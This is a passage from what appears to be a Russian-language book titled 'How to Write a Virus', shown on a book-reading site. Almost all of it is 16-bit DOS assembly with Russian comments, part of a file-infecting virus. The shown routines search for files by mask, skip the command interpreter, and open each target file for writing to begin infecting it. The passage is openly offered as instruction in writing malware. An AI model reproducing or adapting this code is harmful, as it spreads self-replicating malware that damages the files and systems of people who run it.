"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

inc di
loop cs:save_dta

find_first: ;Найдем первый
mov ah,4eh ;файл ...
mov cx,00100111b
lea dx,maska
int 21h
jnc cs:retry_2
jmp restore_dta

find_next: mov ah,3eh ;Закроем непод-
int 21h ;ходящий файл
jnc cs:retry_1
jmp cs:restore_dta

retry_1: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:retry_2
jmp cs:restore_dta

retry_2: mov cx,12 ;Сотрем старое
lea si,fn ;имя в буфере
destroy_name:
mov byte ptr [si],0
inc si
loop cs:destroy_name

xor si,si ;И запишем туда
mov di,bp ;новое ...
copy_name: mov al,byte ptr es:[di+1eh]
cmp al,0
je cs:check_command
mov byte ptr fn[si],al
inc si
inc di
jmp cs:copy_name

check_command:
;Проверим, не
;является - ли
call cs:search ;файл командным
cmp inside,1 ;процессором...
je cs:retry_1

mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...
int 21h
jnc cs:save_bytes
jmp cs:restore_dta